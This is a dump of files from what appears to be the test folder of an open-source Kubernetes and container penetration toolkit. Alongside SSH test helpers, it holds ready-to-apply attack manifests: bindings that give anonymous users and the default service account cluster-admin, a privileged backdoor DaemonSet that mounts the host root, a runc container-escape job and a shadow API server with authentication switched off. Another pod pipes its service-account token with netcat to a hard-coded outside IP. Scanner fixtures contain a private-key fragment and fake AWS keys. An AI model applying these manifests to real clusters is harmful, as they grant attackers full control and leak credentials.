22 | 23 | 24 | def update_remote_bin(): 25 | print('[upload] CDK binary to self-build k8s master node') 26 | try: 27 | conn.put(CDK.BIN_PATH, SELFBUILD_K8S.REMOTE_HOST_PATH) 28 | conn.run('chmod a+x {}'.format(SELFBUILD_K8S.REMOTE_HOST_PATH)) 29 | except Exception as e: 30 | print('errors while update cdk binary.') 31 | print(e) 32 | exit(1) 33 | 34 | 35 | def k8s_master_ssh_cmd(cmd_parsed, white_list, black_list, verbose=False): 36 | print('[TEST] [{}] {}'.format('Selfbuild k8s master node', cmd_parsed)) 37 | 38 | try: 39 | result = conn.run(cmd_parsed, hide=bool(1 - verbose)) 40 | for pattern in white_list: 41 | if pattern not in result.stdout + result.stderr: 42 | output_err('Selfbuild K8s Master Node', cmd_parsed, pattern, 'white') 43 | 44 | for pattern in black_list: 45 | if pattern in result.stdout + result.stderr: 46 | output_err('Selfbuild K8s Master Node', cmd_parsed, pattern, 'black') 47 | return result.stdout + result.stderr 48 | except UnexpectedExit as e: 49 | print('invoke UnexpectedExit') 50 | print(e) 51 | 52 | 53 | def selfbuild_k8s_pod_upload(): 54 | # upload cdk to master node via ssh 55 | update_remote_bin() 56 | 57 | # cp cdk from master node to target pod via (kubectl in master node). 58 | cmd = r'kubectl cp {} {}:{}'.format(SELFBUILD_K8S.REMOTE_HOST_PATH, SELFBUILD_K8S.TARGET_POD, 59 | SELFBUILD_K8S.REMOTE_POD_PATH) 60 | k8s_master_ssh_cmd(cmd, [], [], True) 61 | 62 | time.sleep(1) 63 | # check if upload success 64 | cmd1 = r'kubectl exec {} ls {}'.format(SELFBUILD_K8S.TARGET_POD, SELFBUILD_K8S.REMOTE_POD_PATH) 65 | resp = k8s_master_ssh_cmd(cmd1, [], [], False) 66 | if SELFBUILD_K8S.REMOTE_POD_PATH in str(resp): 67 | return 68 | else: 69 | raise Exception("Upload cdk binary to self-build k8s failed.\nCMD: " + cmd) 70 | 71 | 72 | def check_selfbuild_k8s_pod_exec(cmd, white_list, black_list, verbose=False): 73 | # OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused "text file busy" 74 | time.sleep(1) 75 | cmd_parsed = r'kubectl exec {} -- {} {}'.format( 76 | SELFBUILD_K8S.TARGET_POD, 77 | SELFBUILD_K8S.REMOTE_POD_PATH, 78 | cmd 79 | ) 80 | # print('[TEST] [{}] {}'.format('Selfbuild K8s Pod', cmd_parsed)) 81 | k8s_master_ssh_cmd(cmd_parsed, white_list, black_list, verbose) 82 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/lib/ssh_remote_action.py: -------------------------------------------------------------------------------- 1 | import os 2 | from fabric import Connection 3 | from lib.conf import CDK, SERVER 4 | from invoke.exceptions import UnexpectedExit 5 | 6 | 7 | def get_remote_conn(): 8 | # http://docs.paramiko.org/en/stable/api/client.html 9 | 10 | if SERVER.PASS: 11 | connect_kwargs = {'password': SERVER.PASS} 12 | else: 13 | connect_kwargs = {'key_filename': SERVER.KEY_PATH} 14 | return Connection(SERVER.HOST, SERVER.USER, connect_kwargs=connect_kwargs) 15 | 16 | 17 | conn = get_remote_conn() 18 | 19 | 20 | def output_err(env, cmd, pattern, type): 21 | print('[ERROR] {} while running cmd: {}\nexcepted {} pattern:\n{}'.format(env, cmd, type, pattern)) 22 | 23 | 24 | def test(): 25 | result = conn.run("uname -s", hide=True) 26 | msg = "Ran {0.command!r} on {0.connection.host}, got stdout:\n{0.stdout}" 27 | print(msg.format(result)) 28 | 29 | 30 | def update_remote_bin(): 31 | print('[upload to host]') 32 | try: 33 | conn.put(CDK.BIN_PATH, CDK.REMOTE_HOST_PATH) 34 | conn.run('chmod a+x {}'.format(CDK.REMOTE_HOST_PATH)) 35 | except Exception as e: 36 | print('errors while update cdk binary.') 37 | print(e) 38 | exit(1) 39 | 40 | 41 | def check_host_exec(cmd_parsed, white_list, black_list, verbose=False): 42 | print('[TEST] [{}] {}'.format('ECS', cmd_parsed)) 43 | try: 44 | result = conn.run(cmd_parsed, hide=bool(1 - verbose)) 45 | for pattern in white_list: 46 | if pattern not in result.stdout + result.stderr: 47 | output_err('ECS', cmd_parsed, pattern, 'white') 48 | 49 | for pattern in black_list: 50 | if pattern in result.stdout + result.stderr: 51 | output_err('ECS', cmd_parsed, pattern, 'black') 52 | 53 | except UnexpectedExit as e: 54 | pass 55 | # print('invoke UnexpectedExit') 56 | # print(e) 57 | 58 | 59 | def check_host_evaluate(cmd, white_list, black_list, verbose=False): 60 | cmd_parsed = "{} {}".format(CDK.REMOTE_HOST_PATH, cmd) 61 | print('[TEST] [{}] {}'.format('ECS', cmd_parsed)) 62 | 63 | try: 64 | result = conn.run(cmd_parsed, hide=bool(1 - verbose)) 65 | for pattern in white_list: 66 | if pattern not in result.stdout + result.stderr: 67 | output_err('ECS', cmd_parsed, pattern, 'white') 68 | 69 | for pattern in black_list: 70 | if pattern in result.stdout + result.stderr: 71 | output_err('ECS', cmd_parsed, pattern, 'black') 72 | 73 | except UnexpectedExit as e: 74 | pass 75 | # print('invoke UnexpectedExit') 76 | # print(e) 77 | 78 | 79 | def inside_container_cmd(image, docker_args, cmd, white_list, black_list, verbose=False): 80 | # docker run -v /root/cdk_linux_amd64:/cdk_linux_amd64 --rm --net=host ubuntu /bin/bash -c "/cdk_linux_amd64 cmd" 81 | success = True 82 | 83 | cmd_parsed = "docker run -v {}:{} --rm {} {} /bin/sh -c \"{} {}\"".format( 84 | CDK.REMOTE_HOST_PATH, 85 | CDK.REMOTE_CONTAINER_PATH, 86 | docker_args, 87 | image, 88 | CDK.REMOTE_CONTAINER_PATH, 89 | cmd 90 | ) 91 | print('[TEST] [{}] {}'.format(image, cmd_parsed)) 92 | 93 | try: 94 | result = conn.run(cmd_parsed, hide=bool(1 - verbose)) 95 | for pattern in white_list: 96 | if pattern not in result.stdout + result.stderr: 97 | output_err(image, cmd_parsed, pattern, 'white') 98 | success = False 99 | for pattern in black_list: 100 | if pattern in result.stdout + result.stderr: 101 | output_err(image, cmd_parsed, pattern, 'black') 102 | except UnexpectedExit as e: 103 | pass 104 | # print('invoke UnexpectedExit') 105 | # print(e) 106 | # return 107 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/realease_main.py: -------------------------------------------------------------------------------- 1 | import os 2 | from lib.conf import CDK 3 | 4 | version = 'cdk_v0.10' 5 | 6 | cmd = ''' 7 | cd {}; 8 | rm ../../cdk_release_binary/cdk_* 2>&1; 9 | gox -os "linux darwin" -arch "386 amd64 arm arm64 mips mips64 mips64le mipsle" 2>&1; 10 | mv cdk_* ../../cdk_release_binary/; 11 | cd ../../cdk_release_binary/ && tar -zcvf {}_release.tar.gz cdk_*; 12 | '''.strip().format(CDK.BUILD_PATH,version) 13 | 14 | 15 | def gox_release(): 16 | print("check cdk version") 17 | print("check cdk banner in .go") 18 | print("check cdk banner in readme.md") 19 | print("check cdk banner in github wiki") 20 | os.system(cmd) 21 | 22 | 23 | if __name__ == '__main__': 24 | gox_release() 25 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/requirements.txt: -------------------------------------------------------------------------------- 1 | fabric -------------------------------------------------------------------------------- /test/k8s_exploit_util/anonymous_login.yaml: -------------------------------------------------------------------------------- 1 | kind: ClusterRoleBinding 2 | apiVersion: rbac.authorization.k8s.io/v1beta1 3 | metadata: 4 | name: cdxy-admin-binding 5 | namespace: kube-system 6 | subjects: 7 | - kind: User 8 | name: system:anonymous 9 | apiGroup: "rbac.authorization.k8s.io" 10 | roleRef: 11 | kind: ClusterRole 12 | name: cluster-admin 13 | apiGroup: "rbac.authorization.k8s.io" -------------------------------------------------------------------------------- /test/k8s_exploit_util/backdoor_daemonset.json: -------------------------------------------------------------------------------- 1 | {"apiVersion":"extensions/v1beta1","kind":"DaemonSet","metadata":{"annotations":{},"labels":{"k8s-app":"${K8S_APP}"},"name":"cdk-backdoor-daemonset"},"spec":{"selector":{"matchLabels":{"k8s-app":"${K8S_APP}"}},"template":{"metadata":{"labels":{"k8s-app":"${K8S_APP}"}},"spec":{"containers":[{"command":["sleep","infinity"],"image":"${IMAGE}","imagePullPolicy":"IfNotPresent","name":"cdk-backdoor-pod","securityContext":{"capabilities":{"add":["NET_ADMIN","SYS_ADMIN","SYS_PTRACE","AUDIT_CONTROL","MKNOD","SETFCAP"]},"privileged":true},"volumeMounts":[{"mountPath":"/host-root","name":"host-volume"}]}],"hostNetwork":true,"hostPID":true,"restartPolicy":"Always","volumes":[{"hostPath":{"path":"/"},"name":"host-volume"}]}}}} -------------------------------------------------------------------------------- /test/k8s_exploit_util/backdoor_daemonset.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: extensions/v1beta1 2 | kind: DaemonSet 3 | metadata: 4 | name: cdk-backdoor-daemonset 5 | labels: 6 | k8s-app: ${K8S_APP} 7 | spec: 8 | selector: 9 | matchLabels: 10 | k8s-app: ${K8S_APP} 11 | template: 12 | metadata: 13 | labels: 14 | k8s-app: ${K8S_APP} 15 | spec: 16 | containers: 17 | - command: 18 | - sleep 19 | - infinity 20 | image: ${IMAGE} 21 | imagePullPolicy: IfNotPresent 22 | name: cdk-backdoor-pod 23 | securityContext: 24 | capabilities: 25 | add: 26 | - NET_ADMIN 27 | - SYS_ADMIN 28 | - SYS_PTRACE 29 | - AUDIT_CONTROL 30 | - MKNOD 31 | - SETFCAP 32 | privileged: true 33 | volumeMounts: 34 | - mountPath: /host-root 35 | name: host-volume 36 | 37 | hostNetwork: true 38 | hostPID: true 39 | restartPolicy: Always 40 | volumes: 41 | - hostPath: 42 | path: / 43 | name: host-volume -------------------------------------------------------------------------------- /test/k8s_exploit_util/cronjob.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: batch/v1beta1 2 | kind: CronJob 3 | metadata: 4 | name: hello 5 | spec: 6 | schedule: "*/1 * * * *" 7 | jobTemplate: 8 | spec: 9 | template: 10 | spec: 11 | containers: 12 | - name: hello 13 | image: busybox 14 | imagePullPolicy: IfNotPresent 15 | args: 16 | - /bin/sh 17 | - -c 18 | - date; echo Hello from the Kubernetes cluster 19 | restartPolicy: OnFailure -------------------------------------------------------------------------------- /test/k8s_exploit_util/default_to_admin.yaml: -------------------------------------------------------------------------------- 1 | kind: ClusterRoleBinding 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | metadata: 4 | name: cdxy-default-to-admin-binding 5 | namespace: default 6 | subjects: 7 | - kind: ServiceAccount 8 | name: default 9 | namespace: default 10 | roleRef: 11 | kind: ClusterRole 12 | name: cluster-admin 13 | apiGroup: "rbac.authorization.k8s.io" -------------------------------------------------------------------------------- /test/k8s_exploit_util/get-sa-token.json: -------------------------------------------------------------------------------- 1 | { 2 | "apiVersion": "v1", 3 | "kind": "Pod", 4 | "metadata": { 5 | "name": "cdk-rbac-bypass-create-pod", 6 | "namespace": "kube-system" 7 | }, 8 | "spec": { 9 | "automountServiceAccountToken": true, 10 | "containers": [{ 11 | "args": ["-c", "apt update \u0026\u0026 apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc $RHOST $RPORT; sleep 300"], 12 | "command": ["/bin/sh"], 13 | "image": "ubuntu", 14 | "name": "ubuntu" 15 | }], 16 | "hostNetwork": true, 17 | "serviceAccountName": "admin" 18 | } 19 | } -------------------------------------------------------------------------------- /test/k8s_exploit_util/get-sa-token.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: cdk-rbac-bypass-create-pod 5 | namespace: kube-system 6 | spec: 7 | containers: 8 | - image: ubuntu 9 | name: ubuntu 10 | command: ["/bin/sh"] 11 | args: ["-c", "apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc 39.104.80.49 999; sleep 99999999"] 12 | serviceAccountName: admin 13 | automountServiceAccountToken: true 14 | hostNetwork: true -------------------------------------------------------------------------------- /test/k8s_exploit_util/myappnew.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: myappnew 5 | spec: 6 | containers: 7 | - image: nginx 8 | name: container 9 | env: 10 | - name: KUBERNETES_SERVICE_HOST 11 | value: "192.168.0.150" 12 | - name: KUBERNETES_SERVICE_PORT 13 | value: "6443" 14 | volumeMounts: 15 | - mountPath: /mnt 16 | name: test-volume 17 | - mountPath: /host-root 18 | name: host-volume 19 | volumes: 20 | - hostPath: 21 | path: /tmp 22 | name: test-volume 23 | - hostPath: 24 | path: / 25 | name: host-volume 26 | -------------------------------------------------------------------------------- /test/k8s_exploit_util/runc.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: batch/v1 2 | kind: Job 3 | metadata: 4 | creationTimestamp: null 5 | name: runc-escape 6 | spec: 7 | template: 8 | metadata: 9 | creationTimestamp: null 10 | spec: 11 | containers: 12 | - image: registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd 13 | name: runc-escape 14 | resources: {} 15 | restartPolicy: Never 16 | -------------------------------------------------------------------------------- /test/k8s_exploit_util/shadow-apiserver.yaml: -------------------------------------------------------------------------------- 1 | # normal api-server.yaml 2 | # https://github.com/GoogleCloudPlatform/k8s-cluster-bundle/blob/master/examples/cluster/kubernetes/kube-apiserver.yaml 3 | 4 | # shadow api-server changing 5 | # https://www.youtube.com/watch?v=CH7S5rE3j8w 6 | 7 | apiVersion: v1 8 | kind: Pod 9 | metadata: 10 | labels: 11 | component: shadow-kube-apiserver 12 | tier: control-plane 13 | name: cdk-shadow-apiserver-webhook-control-plane 14 | namespace: kube-system 15 | spec: 16 | containers: 17 | - command: 18 | - kube-apiserver 19 | - --allow-privileged=true 20 | - --anonymous-auth=true 21 | - --authorization-mode=AlwaysAllow 22 | # - --insecure-port=443 23 | # - --insecure-bind-address=0.0.0.0 24 | - --client-ca-file=/etc/kubernetes/pki/ca.crt 25 | - --enable-bootstrap-token-auth=true 26 | - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt -------------------------------------------------------------------------------- /test/scan_file_path/.ssh/id.rsa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cdk-team/CDK/02c2e5d576a51b603e07eb036073eb1c5a0c4c4d/test/scan_file_path/.ssh/id.rsa -------------------------------------------------------------------------------- /test/scan_file_text/1: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAmOgs6bldjAbJrnPwn4Ffg8uh9LubOIcBV3ze9NHKuGL/oDt7 3 | n6qEh6GW0/ggAO0bMm/m+QlkV3mq8rfUaNsCqJ7ci93xwF39GsEALyVZ7LixShh5 4 | uJTEuzIV7utqNXPKtqVkwqQByF8Qxa0ahqoSToCIw3Rl1EQ2mDTViD0TZJq4UU1r -------------------------------------------------------------------------------- /test/scan_file_text/ln/2.txt: -------------------------------------------------------------------------------- 1 | var AK = "SKaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 2 | var AWS = "AKIA99999999999999AB" 3 | 4 | 5 | -----BEGIN RSA PRIVATE KEY----- 6 | 7 | 8 | 9 | 10 | 11 | AKIAVA9 -------------------------------------------------------------------------------- /test/scan_file_text/xxx/2.txt: -------------------------------------------------------------------------------- 1 | var AK = "SKaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 2 | var AWS = "AKIA99999999999999AB" 3 | 4 | 5 | -----BEGIN RSA PRIVATE KEY----- 6 | 7 | 8 | 9 | 10 | 11 | AKIAVA9 -------------------------------------------------------------------------------- /test/scripts/runtest_in_dev.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | current_file=$0 4 | pdir=`dirname "${current_file}"` 5 | ppdir=`dirname "${pdir}"` 6 | project_dir=`dirname "${ppdir}"` 7 | 8 | # CGO_CFLAGS="-Wno-undef-prefix=TARGET_OS_ -Wno-deprecated-declarations" 9 | #CGO_CFLAGS="-Wno-deprecated-declarations" 10 | #export CGO_CFLAGS="-Wno-undef -Wno-deprecated-declarations" 11 | 12 | #2>&1 | sed '/# github.com/,/has been explicitly marked deprecated here$/d' 13 | 14 | go run -tags="hw" "$project_dir/cmd/cdk/cdk.go" "$@" 15 | -------------------------------------------------------------------------------- /thanks.md: -------------------------------------------------------------------------------- 1 | # Additional Contributors and Thanks 2 | 3 | ### PUBLIC 4 | 5 | 6 | 7 | 8 | 9 | ### PRIVATE 10 | 11 | Thanks to private contributions and friends! 12 | 13 | Avatar | ID | Link 14 | ---- | ---- | ---- 15 | [![lazydog](https://github.com/yeahx.png?size=40)](https://github.com/yeahx) | [lazydog](https://github.com/yeahx) | https://github.com/yeahx 16 | [![kingkaki](https://github.com/kingkaki.png?size=40)](https://github.com/kingkaki) | [kingkaki](https://github.com/kingkaki) | https://github.com/kingkaki 17 | [![wywwzjj](https://github.com/wywwzjj.png?size=40)](https://github.com/wywwzjj) | [wywwzjj](https://github.com/wywwzjj) | https://github.com/wywwzjj 18 | [![404tk](https://github.com/404tk.png?size=40)](https://github.com/404tk) | [404tk](https://github.com/404tk) | https://github.com/404tk 19 | 20 | 21 | --------------------------------------------------------------------------------